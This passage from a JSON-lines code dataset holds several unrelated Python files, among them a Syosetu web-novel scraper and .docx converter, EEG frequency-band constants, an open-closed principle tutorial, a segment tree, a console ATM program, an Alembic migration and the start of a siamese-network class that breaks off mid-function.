count\r\n\r\ndef getChapterUrls(soup):\r\n\turls = []\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\turls.append(f\"https://ncode.syosetu.com{chapter.find('a', href=True)['href']}\")\r\n\treturn urls\r\n\r\ndef writeChapters(soup, file, count):\r\n\tchapters = soup.find_all(['div', 'dl'], class_=[\"chapter_title\", \"novel_sublist2\"])\r\n\ttext = \"\"\r\n\tfor index, chapter in enumerate(chapters):\r\n\t\tlines = chapter.get_text().strip().split(\"\\n\")\r\n\t\tlines = [line.strip() for line in lines if len(line.strip()) > 0]\r\n\t\tif len(lines) == 1:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\t# 9 is first chapter to download\r\n\t\t\t# if index < 9:\r\n\t\t\t# \tcontinue\r\n\t\t\tchapterUrl = f\"https://ncode.syosetu.com/{chapter.find('a', href=True)['href']}\"\r\n\t\t\tchapterResponse = requests.get(chapterUrl, headers=headers, cookies=cookies)\r\n\t\t\tchapterSoup = BeautifulSoup(chapterResponse.text, 'html.parser')\r\n\t\t\tsection = chapterSoup.find(['p'], class_=[\"chapter_title\"])\r\n\t\t\ttitle = chapterSoup.find(['p'], class_=[\"novel_subtitle\"]).get_text().strip()\r\n\t\t\tprogress = chapterSoup.find(['div'], id=[\"novel_no\"]).get_text().strip()\r\n\t\t\tprint(f\"Characters: {count}/100000 Progress: {progress}\")\r\n\t\t\tif section:\r\n\t\t\t\tcount += len(f\"セクション:{section.get_text().strip()}\")\r\n\t\t\tcount += countLine() + len(f\"章題:{title}\") + len(f\"章番号:{progress}\") + len(f\"日付:{lines[1]}\")\r\n\t\t\tcount += countBody(chapterSoup)\r\n\t\t\tif count > 100000:\r\n\t\t\t\t# print(f\"Last chapter: {progress}\")\r\n\t\t\t\treturn progress\r\n\t\t\twriteLine(file)\r\n\t\t\twriteChapterTitleAndProgress(chapterSoup, file)\r\n\t\t\tprint(f\"日付:{lines[1]}\", file=file)\r\n\t\t\twriteBody(chapterSoup, file)\r\n\r\ndef getChapter(chapterUrl):\r\n\tchapterNum = int(chapterUrl.split('/')[-1])\r\n\tdate = dates[chapterNum - 1]\r\n\tchapterResponse = requests.get(chapterUrl, headers=headers, cookies=cookies)\r\n\tchapterSoup = BeautifulSoup(chapterResponse.text, 'html.parser')\r\n\tsection = chapterSoup.find(['p'], class_=[\"chapter_title\"])\r\n\ttitle = chapterSoup.find(['p'], class_=[\"novel_subtitle\"]).get_text().strip()\r\n\tprogress = chapterSoup.find(['div'], id=[\"novel_no\"]).get_text().strip()\r\n\tindex = int(progress.split('/')[0])\r\n\tfile = codecs.open(f\"temp/{index}.txt\", 'w+', \"utf-8\")\r\n\tchapters = os.listdir(\"temp\")\r\n\tprint(f\"Progress: {len(chapters)}/{totalToDownload}\")\r\n\twriteLine(file)\r\n\twriteChapterTitleAndProgress(chapterSoup, file)\r\n\tprint(f\"日付:{date}\", file=file)\r\n\twriteBody(chapterSoup, file)\r\n\r\ndef splitTextToTranslate(textFile, novel):\r\n\ttextFile = codecs.open(path, 'r', \"utf-8\")\r\n\tsplittedFile = codecs.open(f'toTranslate/{novel.code} 0.txt', \"w+\", \"utf-8\")\r\n\tfileNum = 0\r\n\tcharNum = 0\r\n\tfor line in textFile.readlines():\r\n\t charNum += len(line)\r\n\t if charNum > 100000:\r\n\t charNum = 0\r\n\t fileNum += 1;\r\n\t splittedFile = codecs.open(f'toTranslate/{novel.code} {fileNum}.txt', \"w+\", \"utf-8\")\r\n\t splittedFile.write(line)\r\n\ttextFile.close()\r\n\tsplittedFile.close()\r\n\r\nlibrary = open('library.txt', 'r')\r\nmode = \"Null\"\r\ndates = []\r\nnovels = []\r\ntotalToDownload = 0\r\ntotalToUpdate = 0\r\nfor line in library.readlines():\r\n\tline = line.strip()\r\n\tif line == \"To Read\":\r\n\t\tmode = \"To Read\"\r\n\t\tcontinue\r\n\telif line == \"Reading\":\r\n\t\tmode = \"Reading\"\r\n\t\tcontinue\r\n\telif line == \"Done\":\r\n\t\tmode = \"Done\"\r\n\t\tcontinue\r\n\telif len(line) <= 0:\r\n\t\tcontinue\r\n\telse:\r\n\t\tif mode == \"To Read\":\r\n\t\t\tline = line.split(' ', 1)\r\n\t\t\tnovels.append(Novel(\"Null\", line[0], line[1]))\r\n\t\t\ttotalToDownload += 1\r\n\t\telif mode == \"Reading\":\r\n\t\t\tline = line.split(' ', 1)\r\n\t\t\tcodeAndTitle = line[1].split(' ', 1)\r\n\t\t\tnovels.append(Novel(line[0], codeAndTitle[0], codeAndTitle[1]))\r\n\t\t\ttotalToUpdate += 1\r\n\r\n\r\nPath(\"ncode\").mkdir(parents=True, exist_ok=True)\r\nPath(\"toTranslate\").mkdir(parents=True, exist_ok=True)\r\nPath(\"novel18\").mkdir(parents=True, exist_ok=True)\r\nncode = os.listdir(\"ncode\")\r\nnovel18 = os.listdir(\"novel18\")\r\ntoRead = list(filter(lambda novel: novel.status == \"Null\", novels))\r\nreading = list(filter(lambda novel: novel.status != \"Null\", novels))\r\nalreadyDownloaded = ncode + novel18\r\nalreadyDownloaded = [novel[:-4] for novel in alreadyDownloaded]\r\ncategory = [f\"ncode\" for file in ncode] + [f\"novel18\" for file in novel18]\r\ncategoryForTitle = dict(zip(alreadyDownloaded, category))\r\nprogress = 1\r\n\r\nif not os.path.isdir(\"translated\"):\r\n\tos.mkdir(\"translated\")\r\n\r\nfor novel in novels:\r\n\tif novel not in toRead:\r\n\t\tcontinue\r\n\ttotalWords = 0\r\n\tif novel.code in alreadyDownloaded:\r\n\t\tprint(f\"\\\"{novel.code}\\\" already downloaded. Cannot download preview.\")\r\n\t\tcontinue\r\n\tprint(f\"Downloading {progress}/{totalToDownload} previews: {novel.title}\")\r\n\turl = f\"https://ncode.syosetu.com/{novel.code}/\"\r\n\tresponse = requests.get(url, headers=headers, cookies=cookies)\r\n\tsoup = BeautifulSoup(response.text, 'html.parser')\r\n\tsynopsis = soup.find(id='novel_ex')\r\n\tpath = \"Null\"\r\n\tif \"ncode\" in response.url:\r\n\t\tpath = f\"ncode/{novel.code}.txt\"\r\n\telif \"novel18\" in response.url:\r\n\t\tpath = f\"novel18/{novel.code}.txt\"\r\n\telse:\r\n\t\tprint(f\"response.url error: {response.url}\")\r\n\ttemp = codecs.open(\"temp.txt\", 'w+', \"utf-8\")\r\n\ttotalWords += writeTitleAuthor(soup, temp)\r\n\tprint(f\"Nコード: {response.url}\", file=temp)\r\n\tif synopsis:\r\n\t\ttemp.write(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttotalWords += len(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttotalWords += writeLine(temp)\r\n\t\t# totalWords += writeTableOfContents(soup, temp)\r\n\t\tnewStatus = writeChapters(soup, temp, totalWords)\r\n\t\tnovel.status = newStatus\r\n\telse:\r\n\t\ttotalWords += writeLine(temp)\r\n\t\ttotalWords += writeBody(soup, temp)\r\n\t\tnovel.status = \"Short\"\r\n\tprogress += 1\r\n\ttemp.close()\r\n\ttemp = codecs.open('temp.txt', 'r', \"utf-8\")\r\n\ttextFile = codecs.open(path, 'w+', \"utf-8\")\r\n\tfor line in temp.readlines():\r\n\t\tline = line.strip()\r\n\t\tif len(line) <= 0:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tprint(line, file=textFile)\r\n\ttemp.close()\r\n\ttextFile.close()\r\n\tos.remove(\"temp.txt\")\r\n\tsplitTextToTranslate(textFile, novel)\r\n\r\nfor novel in novels:\r\n\tif novel not in reading:\r\n\t\tcontinue\r\n\tif not os.path.isdir(\"temp\"):\r\n\t\tos.mkdir(\"temp\")\r\n\t# if novel.title not in alreadyDownloaded:\r\n\t# \tprint(f\"\\\"{novel.title}\\\" missing. Cannot update chapters.\")\r\n\t# \tcontinue\r\n\tif novel.status == \"Short\":\r\n\t\tcontinue\r\n\turl = f\"https://ncode.syosetu.com/{novel.code}/\"\r\n\tresponse = requests.get(url, headers=headers, cookies=cookies)\r\n\tsoup = BeautifulSoup(response.text, 'html.parser')\r\n\tstart = int(novel.status.split('/')[0])\r\n\tend = int(list(filter(lambda piece: len(piece) > 0, getChapterUrls(soup)[-1].strip().split('/')))[-1])\r\n\tif start == end:\r\n\t\tcontinue\r\n\telse:\r\n\t\t# print(f\"Downloading {progress}/{totalToUpdate} updates: {novel.title}\")\r\n\t\tprint(novel.title)\r\n\t\tconfirm = \"null\"\r\n\t\twhile confirm != \"y\" and confirm != \"n\":\r\n\t\t\tconfirm = input(f\"There are {end - start} new chapter(s)! Download? (y/n): \")\r\n\t\tif confirm == \"n\":\r\n\t\t\tprint(f\"\\\"{novel.title}\\\" skipped.\")\r\n\t\t\tcontinue\r\n\tpath = \"Null\"\r\n\tif \"ncode\" in response.url:\r\n\t\tpath = f\"ncode/{novel.code}.txt\"\r\n\telif \"novel18\" in response.url:\r\n\t\tpath = f\"novel18/{novel.code}.txt\"\r\n\telse:\r\n\t\tprint(f\"response.url error: {response.url}\")\r\n\t# path = categoryForTitle[novel.title]\r\n\r\n\tif start == 0:\r\n\t\tsynopsis = soup.find(id='novel_ex')\r\n\t\ttemp = codecs.open(f\"temp/1.txt\", 'w+', \"utf-8\")\r\n\t\twriteTitleAuthor(soup, temp)\r\n\t\tprint(f\"Nコード: {response.url}\", file=temp)\r\n\t\ttemp.write(f'{synopsis.get_text().strip()}\\n')\r\n\t\ttemp.close()\r\n\r\n\tstart += 1\r\n\tchapterUrls = [f\"https://ncode.syosetu.com/{novel.code}/{i}\" for i in range(start, end + 1)]\r\n\t# print(f\"start = {start} end = {end}\")\r\n\t# print(chapterUrls)\r\n\tdates = soup.find_all('dt', class_=\"long_update\")\r\n\t# dates = [date.get_text().strip() for date in dates][start - 1:]\r\n\tdates = [date.get_text().strip() for date in dates]\r\n\ttotalToDownload = end - start + 1\r\n\tpool = ThreadPool(3)\r\n\tpool.map(getChapter, chapterUrls)\r\n\tprogress += 1\r\n\tchapters = natsorted([chapter for chapter in os.listdir(\"temp\")])\r\n\ttemp = codecs.open(\"temp.txt\", 'a+', \"utf-8\")\r\n\tfor chapter in chapters:\r\n\t\tfile = codecs.open(f\"temp/{chapter}\", 'r', \"utf-8\")\r\n\t\ttemp.write(file.read())\r\n\t\tfile.close()\r\n\ttemp.close()\r\n\ttemp = codecs.open('temp.txt', 'r', \"utf-8\")\r\n\ttextFile = codecs.open(path, 'a+', \"utf-8\")\r\n\tfor line in temp.readlines():\r\n\t\tline = line.strip()\r\n\t\tif len(line) <= 0:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tprint(line, file=textFile)\r\n\ttemp.close()\r\n\ttextFile.close()\r\n\tos.remove(\"temp.txt\")\r\n\tshutil.rmtree(\"temp\")\r\n\tsplitTextToTranslate(textFile, novel)\r\n\tnovel.status = f\"{end}/{end}\"\r\n\r\ntextFilesToConvertToDocX = [file for file in os.listdir(\"toTranslate\")]\r\nfor file in textFilesToConvertToDocX:\r\n\tdocument = Document()\r\n\tfont = document.styles['Normal'].font\r\n\tfont.name = 'Yu Mincho'\r\n\tfont.size = Pt(11)\r\n\tpath = f\"toTranslate/{file}\"\r\n\ttextFile = codecs.open(path, mode=\"r\", encoding=\"utf-8\", errors='ignore')\r\n\tlines = tuple(textFile)\r\n\tfor line in lines:\r\n\t\tdocument.add_paragraph(line.strip())\r\n\tfilename = file.rsplit(\".\", 1)[0] + \".docx\"\r\n\tdocument.save(f\"toTranslate/{filename}\")\r\n\ttextFile.close()\r\n\tos.remove(path)\r\n\r\nupdateLibrary(novels)","repo_name":"lincolnnguyen18/ScrapeTrans","sub_path":"fetchNovels.py","file_name":"fetchNovels.py","file_ext":"py","file_size_in_byte":14053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36034480258","text":"\"\"\"\nFrequency band information for different types of data processing.\n\"\"\"\nimport numpy as np\n\nclass DataFormat(object):\n def write_preprocessed(self):\n raise NotImplementedError\n def read_preprocessed(self):\n raise NotImplementedError\n\n# Chang lab frequencies\nfq_min = 4.0749286538265\nfq_max = 200.\nscale = 7.\ncfs = 2 ** (np.arange(np.log2(fq_min) * scale, np.log2(fq_max) * scale) / scale)\ncfs = np.array(cfs)\nsds = 10 ** ( np.log10(.39) + .5 * (np.log10(cfs)))\nsds = np.array(sds) * np.sqrt(2.)\nchang_lab = {'fq_min': fq_min,\n 'fq_max': fq_max,\n 'scale': scale,\n 'cfs': cfs,\n 'sds': sds,\n 'block_path': '{}_Hilb.h5'}\n\n# Standard neuro bands\nbands = ['theta', 'alpha', 'beta', 'gamma', 'high gamma']\nmin_freqs = [4., 8., 15., 30., 70.]\nmax_freqs = [7., 14., 29., 59., 150.]\nHG_freq = 200.\nneuro = {'bands': bands,\n 'min_freqs': min_freqs,\n 'max_freqs': max_freqs,\n 'HG_freq': HG_freq,\n 'block_path': '{}_neuro_Hilb.h5'}\n","repo_name":"BouchardLab/process_ecog","sub_path":"ecog/utils/bands.py","file_name":"bands.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34679320125","text":"\"\"\"\n\nSumary\n\nOpen for extension and closed for modifications\n\nAfter you've written and tested a paticular class or feature, you should not modify it. Instead, you should extend it.\n\nFor this particular case, Specifications can be used.\n\n\"\"\"\n\nfrom enum import Enum\n\nclass Color(Enum):\n RED = 1\n BLUE = 2\n GREEN = 3\n\nclass Size(Enum):\n SMALL = 1\n MEDIUM = 2\n LARGE = 3\n\nclass Product():\n def __init__(self, \n name: str, \n color: Color, \n size: Size\n ) -> None:\n self.name = name\n self.color = color\n self.size = size\n\n def __str__(self) -> str:\n return self.name\n\n# Bad Approach\nclass BadFilter():\n\n def filter_by_color(self, \n color, \n products: list[Product]) -> Product | None:\n \"\"\" Function to check whether the producto color matchs with the color we are filtering\"\"\"\n for i in products:\n if i.color == color:\n yield i\n\n def filter_by_size(self, \n size, \n products: list[Product]) -> Product | None:\n for p in products:\n if p.size == size:\n yield p\n\n def filter_by_color_and_size(self, \n color,\n size,\n products: list[Product]) -> Product | None:\n for p in products:\n if p.color == color and p.size == size:\n yield p\n\n\n# SOLUTION USING OPEN CLOSE PRINCIPLE -> Open for extension, closed for modification\n# First we define a class called specification that will be used to define the filtering criteria. It will be used as an interface\nclass FilterSpecification():\n \"\"\" We define a method that checks if the spec is satisfied \"\"\"\n def is_satisfied(self):\n pass\n\n# Now we define the both critaria we can use for filtering\nclass ColorSpecification(FilterSpecification):\n def __init__(self, \n color: Color) -> None:\n self.color = color\n\n def is_satisfied(self, \n item: Product) -> bool:\n \"\"\" We check if the item we are passing meets the spec \"\"\"\n return self.color == item.color\n \nclass SizeSpecification(FilterSpecification):\n def __init__(self, \n size: Size) -> None:\n self.size = size\n\n def is_satisfied(self, \n item: Product) -> bool:\n \"\"\" We check if the item we are passing meets the spec \"\"\"\n return self.size == item.size\n\n\n# Then we define a better filter interface\nclass BetterFilter():\n def filter(self, \n items: list[Product], \n spec: ColorSpecification | SizeSpecification\n ):\n for item in items:\n if spec.is_satisfied(item):\n yield item # Yield return and object that can be iterated\n\nif __name__ == \"__main__\":\n apple = Product(\"apple\", Color.RED, Size.SMALL)\n green_apple = Product(\"green apple\", Color.GREEN, Size.SMALL)\n tree = Product(\"tree\", Color.GREEN, Size.MEDIUM)\n house = Product(\"house\", Color.BLUE, Size.LARGE)\n\n product_cataloge = [apple, green_apple, tree, house]\n\n # Check products\n for i in product_cataloge:\n print(i)\n\n \"\"\" BAD APPROACH \"\"\"\n # filter products using bad approach\n pf = BadFilter()\n # First we filter by color\n for i in pf.filter_by_color(Color.RED, product_cataloge):\n print(f\"{i} is red\")\n # Now we filter by size\n for i in pf.filter_by_size(Size.LARGE, product_cataloge):\n print(f\"{i} is Large\")\n\n \"\"\" BETTER APROACH USING OCP\"\"\"\n print(\n \"\"\" \n####################################################################################\nusing OCP\n####################################################################################\n \"\"\" \n )\n bf = BetterFilter()\n green = ColorSpecification(Color.GREEN)\n for i in list(bf.filter(product_cataloge, green)):\n print(f\"{i} is green\")\n\n large = SizeSpecification(Size.LARGE)\n for i in list(bf.filter(product_cataloge, large)):\n print(f\"{i} is large\")\n\n # TODO\n # 1) Implement and and or filters","repo_name":"andres925922/Design-patterns-python","sub_path":"SOLID/Open-Close/ocp.py","file_name":"ocp.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27097956068","text":"import os\nfrom dataclasses import dataclass\nfrom src.logger import logging\n\nfrom src.exception import CustomException\nimport sys\nimport pandas as pd\nimport json\nimport numpy as np\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom src.components.data_cleaning import TextCleaner\nfrom src.components.data_transformation import DataTransformation\nfrom src.components.data_transformation import DataTransformationConfig\n\n\n@dataclass\nclass DataIngestionConfig:\n train_data_path: str = os.path.join('artifacts', 'train.csv')\n test_data_path: str = os.path.join('artifacts', 'test.csv')\n raw_data_path: str = os.path.join('artifacts', 'raw.csv')\n\n\nclass DataIngestion:\n def __init__(self):\n self.ingestion_config = DataIngestionConfig()\n\n def initiate_data_ingestion(self):\n try:\n logging.info(\"Starting data process\")\n # f = open('data/complaints-2021-05-14_08_16_.json')\n f = open('/Users/kumarshivam/IdeaProjects/New_Job1/data/complaints-2021-05-14_08_16_.json')\n logging.info(\"File opened\")\n data = json.load(f)\n logging.info(\"loaded json data for dataframe.\")\n df = pd.json_normalize(data)\n logging.info(\"reading data from source\")\n\n os.makedirs(os.path.dirname(self.ingestion_config.train_data_path), exist_ok=True)\n\n df.to_csv(self.ingestion_config.raw_data_path, index=False, header=True)\n logging.info(\"Train test split initiated\")\n train_set, test_set = train_test_split(df, test_size=0.2, random_state=42)\n train_set.to_csv(self.ingestion_config.train_data_path, index=False, header=True)\n test_set.to_csv(self.ingestion_config.test_data_path, index=False, header=True)\n\n logging.info(\"Ingestion of the data is completed\")\n\n return (\n self.ingestion_config.train_data_path,\n self.ingestion_config.test_data_path,\n )\n\n except Exception as e:\n raise CustomException(e, sys)\n\n\nif __name__ == '__main__':\n obj = DataIngestion()\n train_data, test_data = obj.initiate_data_ingestion()\n\n data_transformation = DataTransformation()\n train_arr,test_arr = data_transformation.initiate_data_transformation(train_data, test_data)\n\n\n","repo_name":"rajputshivam/mltest","sub_path":"src/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38065645517","text":"import sys\nimport math\ninput = sys.stdin.readline\n\n\ndef init(node, s, e):\n if s == e:\n tree[node] = base[s]\n #minTree[node] = base[s]\n #maxTree[node] = base[s]\n return\n m = (s+e)//2\n init(node*2, s, m)\n init(node*2+1, m+1, e)\n\n #minTree[node] = min(minTree[node*2], minTree[node*2+1])\n #maxTree[node] = max(maxTree[node*2], maxTree[node*2+1])\n return\n\n\n'''\ndef getMax(node, s, e, l, r):\n if l > e or r < s:\n return -sys.maxsize\n if l <= s and e <= r:\n return maxTree[node]\n m = (s+e)//2\n return max(getMax(node*2, s, m, l, r), getMax(node*2+1, m+1, e, l, r))\n\n\ndef getMin(node, s, e, l, r):\n if l > e or r < s:\n return sys.maxsize\n if l <= s and e <= r:\n return minTree[node]\n m = (s+e)//2\n return min(getMin(node*2, s, m, l, r), getMin(node*2+1, m+1, e, l, r))\n'''\n\n\ndef update(node, s, e, idx, diff):\n if idx < s or idx > e:\n return\n tree[node] += diff\n if s != e:\n m = (s+e)//2\n update(node*2, s, m, idx, diff)\n update(node*2+1, m+1, e, idx, diff)\n\n\nN, M = map(int, input().split())\nbase = [int(input()) for _ in range(N)]\ntree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\n#minTree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\n#maxTree = [0 for _ in range(2**(math.ceil(math.log2(N)+1)))]\ninit(1, 0, N-1)\nfor _ in range(M):\n a, b = map(int, input().split())\n #print(getMin(1, 0, N-1, a-1, b-1), getMax(1, 0, N-1, a-1, b-1))\n","repo_name":"shg9411/algo","sub_path":"algo_py/datastructure/segment_tree_basic.py","file_name":"segment_tree_basic.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32375327117","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport pprint\ndf=pd.read_csv('~/git_counts.csv')\ndf = df[df.Count > 0].sort_values('Count', ascending=False).reset_index().drop('index', axis=1)\ndf['Perc'] = round(df.Count / df.Count.sum()*100)\npprint.pprint(df)\nprint(f'\\n**** Total count: {df.Count.sum()} ****\\n')\nplot = plt.bar(df.Repo, df.Count)\nplt.tick_params(axis='x', labelsize=14)\nif len(df) > 9:\n\tplt.xticks(rotation=45, ha='center', va='center', rotation_mode='anchor')\n\nfor value in plot:\n\theight = value.get_height()\n\tplt.text(value.get_x() + value.get_width()/2., 1.002*height,'%d' % int(height), ha='center', va='bottom')\nmng = plt.get_current_fig_manager()\nmng.full_screen_toggle()\nplt.show()","repo_name":"amirsaleem1990/working","sub_path":"git_push_plot_script.py","file_name":"git_push_plot_script.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38553361284","text":"from abc import ABC, abstractmethod\r\n\r\nclass Account(ABC):\r\n def __init__(self, account_number, balance):\r\n self.account_number = account_number\r\n self.balance = balance\r\n\r\n def deposit(self, amount):\r\n pass\r\n\r\n def withdraw(self,amount):\r\n pass\r\n\r\n def get_balance(self):\r\n return self.balance\r\n \r\nclass CheckingAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number,balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\nclass SavingsAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number, balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\nclass BusinessAccount(Account):\r\n def __init__(self, account_number, balance):\r\n super().__init__(account_number, balance)\r\n\r\n def deposit(self, amount):\r\n self.balance += amount\r\n\r\n def withdraw(self, amount):\r\n if self.balance >= amount:\r\n self.balance -= amount\r\n else:\r\n print(\"Insufficient Funds\")\r\n\r\ndef main():\r\n checking_account = CheckingAccount(\"12345\", 1000.0)\r\n savings_account = SavingsAccount(\"67890\", 5000.0)\r\n business_account = BusinessAccount(\"54321\", 20000.0)\r\n\r\n while True:\r\n print(\"\\nATM Menu:\")\r\n print(\"1. Check Balance\")\r\n print(\"2. Deposit\")\r\n print(\"3. Withdraw\")\r\n print(\"4. Exit\")\r\n\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n if account_type == \"C\":\r\n print(f\"Checking Account Balance: ${checking_account.get_balance()}\")\r\n elif account_type == \"S\":\r\n print(f\"Savings Account Balance: ${savings_account.get_balance()}\")\r\n elif account_type == \"B\":\r\n print(f\"Business Account Balance: ${business_account.get_balance()}\")\r\n else:\r\n print(\"Invalid account type\")\r\n\r\n elif choice == \"2\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n amount = float(input(\"Enter the deposit amount: \"))\r\n if account_type == \"C\":\r\n checking_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n elif account_type == \"S\":\r\n savings_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n elif account_type == \"B\":\r\n business_account.deposit(amount)\r\n print(\"Your amount has been Deposited\")\r\n else:\r\n print(\"Invalid account type\")\r\n\r\n elif choice == \"3\":\r\n account_type = input(\"Enter account type (C for Checking, S for Savings, B for Business): \")\r\n amount = float(input(\"Enter the withdrawal amount: \"))\r\n if account_type == \"C\":\r\n checking_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n elif account_type == \"S\":\r\n savings_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n elif account_type == \"B\":\r\n business_account.withdraw(amount)\r\n print(\"Your withdrawal is complete. Don't spend it all in one place!\")\r\n else:\r\n print(\"Invalid account type\")\r\n \r\n elif choice == \"4\":\r\n print(\"Exiting the ATM program. Have a nice day!\")\r\n break\r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"afsalmafaa/Project","sub_path":"bank account manager.py","file_name":"bank account manager.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38768082592","text":"\"\"\"empty message\n\nRevision ID: 6c6cfadb4bde\nRevises: c2f386dc1e56\nCreate Date: 2021-12-20 00:14:00.980885\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6c6cfadb4bde'\ndown_revision = 'c2f386dc1e56'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('skills',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('skill_name', sa.String(length=255), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('skills')\n # ### end Alembic commands ###\n","repo_name":"dimitrovmartin/Jobify","sub_path":"migrations/versions/6c6cfadb4bde_.py","file_name":"6c6cfadb4bde_.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32552600749","text":"import tensorflow as tf\nimport numpy as np\nimport pickle\nfrom tensorflow.keras.layers import Input, concatenate\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.callbacks import Callback\nfrom random import randint, random\nfrom ModelHandler import ModelHandler\nfrom DataHandler import DataHandler\n\n# SiameseNet class.\nclass SiameseNet:\n # Constructor for the SiameseNet object.\n # Object can be constructed either from scratch, in which case model_handler,\n # data_handler and alpha must be provided, or, alternatively, a premade object\n # can be loaded by specifying the model_name.\n # model_handler - ModelHandler object.\n # data_handler - DataHandler object.\n # alpha - Loss margin for contrastive loss.\n def __init__(self, model_handler=0, data_handler=0, alpha=0, model_name=0):\n if model_name == 0: \n self.data_handler = data_handler\n self.input_feature_size = data_handler.n_features\n \n model_handler.reinitialize()\n self.model_handler = model_handler\n self.embedding_model = model_handler.model\n self.embedding_size = model_handler.embedding_size\n \n self.alpha = alpha\n self.create_siamese_net()\n else:\n self.load_model(model_name)\n\n # Create siamese net.\n def create_siamese_net(self):\n # Define input tensors.\n input_1 = Input(shape=(self.input_feature_size,))\n input_2 = Input(shape=(self.input_feature_size,))\n\n # Define model.\n self.net = SiameseModel(self.embedding_model)\n self.net([input_1, input_2])\n\n # Compile the model.\n self.net.compile(loss=self.contrastive_loss, optimizer='adam') \n\n # Print model summary.\n def print_model(self):\n self.net.summary()\n \n # Save model weights and attributes.\n # model_name - The name of the file where to store the model weights and\n # the name of the .pkl file to store the model attributes.\n def save_model(self, model_name=''):\n model_attributes = {\n \"net\": \"siamese\",\n \"dataset_name\": self.data_handler.dataset_name,\n \"classes\": self.data_handler.class_labels.tolist(),\n \"alpha\": self.alpha,\n \"model_number\": self.model_handler.model_number,\n \"embedding_size\": self.model_handler.embedding_size,\n \"batch_size\": self.batch_size,\n \"epochs\": self.epochs,\n \"steps_per_epoch\": self.steps_per_epoch,\n \"mining_method\": self.mining_method\n }\n \n if model_name == '':\n model_name = 'model' + str(model_attributes[\"model_number\"]) + '_alpha' \\\n + str(model_attributes[\"alpha\"]) + '_epochs' + str(model_attributes[\"epochs\"]) \\\n + '_batchSize' + str(model_attributes[\"batch_size\"]) \\\n + '_steps' + str(model_attributes[\"steps_per_epoch\"])\n \n with open('./models/contrastive/' + model_name + '.pkl', 'wb') as file:\n pickle.dump(model_attributes, file)\n \n self.net.save_weights('./models/contrastive/' + model_name)\n \n # Load model.\n # model_name - The name of the file where the model weights are stored and\n # the name of the .pkl file where the model attributes are stored.\n def load_model(self, model_name):\n with open('./models/contrastive/' + model_name + '.pkl', 'rb') as file:\n model_attributes = pickle.load(file)\n \n self.data_handler = DataHandler(model_attributes['dataset_name'], model_attributes['classes'])\n self.input_feature_size = self.data_handler.n_features\n self.model_handler = ModelHandler(model_attributes['model_number'], model_attributes['embedding_size'], input_feature_dim=self.data_handler.shape)\n self.embedding_model = self.model_handler.model\n self.embedding_size = self.model_handler.embedding_size\n self.alpha = model_attributes['alpha']\n self.batch_size = model_attributes['batch_size']\n self.epochs = model_attributes['epochs']\n self.steps_per_epoch = model_attributes['steps_per_epoch']\n self.mining_method = model_attributes['mining_method']\n \n self.create_siamese_net()\n\n self.net.load_weights('./models/contrastive/' + model_name)\n\n # Data generator for model training.\n def data_generator(self):\n while True:\n x = self.create_a_batch_callback.xs\n y = 